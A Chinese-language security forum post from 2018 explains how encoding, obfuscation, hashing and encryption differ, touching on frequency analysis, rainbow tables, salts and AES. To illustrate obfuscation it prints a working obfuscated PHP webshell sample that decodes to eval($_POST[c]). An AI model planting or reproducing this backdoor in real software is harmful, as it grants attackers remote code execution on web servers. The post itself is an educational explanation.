[閒聊] 2018-M01 - 混淆、編碼、雜湊、加密 (201)

看板NetSecurity (資安資訊安全)作者CMJ0121 (不要偷 Q)時間6年前 (2018/01/31 23:24)推噓12(12推 0噓 2→)

留言14則, 13人參與討論串1/1

2018-M01 - 混淆、編碼、雜揍、加密 (201) > 各種開獎、各種開履歷 ## 前言 ## 很久沒寫文章了～希望 2018 的第一篇合大家的口味會寫這篇主要是最近在寫糟(ㄟ) 糕(ㄆㄧㄢˋ) 的爬蟲發現目標使用的技術蠻有趣的各種浪費我的人生但使用到的技術也僅限於混淆跟編碼讓我想再寫一次四種關鍵字的差異性 ## 內容 ## 在很多時候程式設計師不太想讓別人瞭解內容時會使用各種技術總結來說可以分為三種：編碼、雜湊、加密三者本身有各自的特色就結果論來說三者給予足夠多的資源、人力、時間都有辦法找到原本的內容 ### 編碼 ### 就實務面來說編碼可以透過不少方式來推測編碼函數透過頻率分析[1] 可以判斷出判斷哪些常見字的編碼方式加快分析的速度也可以透過足夠多的明文[2] 來做差異分析推測編碼方式這類型都是利用本身可逆、不具雪崩性[3] 來進行攻擊 ### 混淆 ### 編碼的另一種延伸方式則是混淆[4] 透過移除不必要的資訊、替換成不易閱讀的內容造成本身的閱讀障礙像是某天拿到的 webshell 樣本 (原本是單一行我是為了'閱讀'方便拆成若干行) @$_=[].''; @$___=$_['']; $____=$___; $____++; $_____=$____; $_____++; $______=$_____; $______++; $_______=$______; $_______++; $________=$_______; $________++; $________++; $________++; $________++; $________++; $________++; $________++; $________++; $________++; $________++; $_________=$________; $_________++; $_________++; $_________++; $_________++; $_=$____.$___.$_________.$_______.'6'.'4'.'_'.$______.$_______.$_____.$________.$______.$_______; $________++; $________++; $________++; $_____=$_________; $_____++; $__=$___.$_________.$_________.$_______.$________.$_____; @$__($_("ZXZhbCgkX1BPU1RbY10p")) 這段 Code 本身不具可讀性在分析上也需要花費夠多的人力才有辦法推敲其中的邏輯透過這類型的編碼、混淆技術在執行上沒有太大的影響但是對於需要逆向分析其中邏輯的人則需要花費大量時間、工具來進行分析 ### 雜湊 ### 對於雜湊[5]來說本身設計上並不預期可逆向反推原本的資訊透過一個 n-to-1 的數學函數將原本的資訊壓縮成固定長度的資料本身利用數學上證明的散佈特性證明碰撞的情況很難發生在隱匿資訊上的效果非凡但本身不可逆的特性只能用來證明資料的正確性在實務面上可以用來儲存密碼因為在各種情況下密碼都不應該被明文儲存這代表需要有一種方式既可以比對密碼的正確性又可以避免儲存明文密碼在現代雜湊函數的設計上都會將雪崩性設計在函數特性中為了避免高速運算與硬體上的加速也會使用較大空間但因本身壓縮資料的特性代表雜湊碰撞的可能性存在透過彩虹表[6] 技巧可以將問題從時間轉換成空間也就是先行計算所有可能的雜湊值來反推可行的原始內容另外也可透過函數本身的缺陷用比暴力破解還要快的速度來產生碰撞值通常為了增加破解的難度會額外使用 salt[7] 來增加額外的隨機性 ### 加密 ### 最後來到神秘的殿堂為了結合編碼 (可逆) 與雜湊 (不可破解) 的特性密碼學 [8] 成為最後一道防線 (?) 就現代密碼學角度來看可以分為兩大族群：對稱式與非對稱式 [9] 對稱式加密代表加密、解密使用相同的一把金鑰這表示加密的人同時需要負擔保護金鑰的責任就對稱式加密來看平均了每個字出現的機率來減少頻率分析攻擊增加了雪崩的特性來避免明文攻擊只要確保演算法本身沒有存在嚴重的瑕疵對稱式加密本身是一個好的保密方式像是 AES [10] 則是一個廣泛被使用的對稱式加密演算法除了旁道攻擊 [11] 外目前尚未有有效的攻擊方式但就像一開始提到的對稱式加密需要加、解密雙方同時擁有金鑰在某些情境下是不適合的非對稱式加密則是加密、解密擁有不同的兩把金鑰對需要讓雙方資訊不對等的情境下使用特別有效非對稱加密是建構在一種特殊的數學模型上像是去年文章 [12]中提到的 ECC 就是建構在橢圓曲線本身難以反推的特性在這種特性下進行加密時握有密鑰的人才有辦法解開秘文 ## 給 END 的人 ## 不想被一眼看出來內容 →編碼、混淆想浪費別人人生 →混淆、加密一定不想被看出內容 →雜湊自己想看內容但別人不能看 →加密 [1]: https://en.wikipedia.org/wiki/Frequency_analysis [2]: https://en.wikipedia.org/wiki/Chosen-plaintext_attack [3]: https://en.wikipedia.org/wiki/Avalanche_effect [4]: https://en.wikipedia.org/wiki/Minification_(programming) [5]: https://en.wikipedia.org/wiki/Hash_function [6]: https://en.wikipedia.org/wiki/Rainbow_table [7]: https://en.wikipedia.org/wiki/Salt_(cryptography) [8]: https://en.wikipedia.org/wiki/Cryptography [9]: https://en.wikipedia.org/wiki/Public-key_cryptography [10]: https://en.wikipedia.org/wiki/Advanced_Encryption_Standard [11]: https://en.wikipedia.org/wiki/Side-channel_attack [12]: https://www.ptt.cc/bbs/NetSecurity/M.1494334702.A.07A.html -- ※ 發信站: 批踢踢實業坊(ptt.cc), 來自: 123.193.122.171 ※ 文章網址: https://www.ptt.cc/bbs/NetSecurity/M.1517412273.A.E5F.html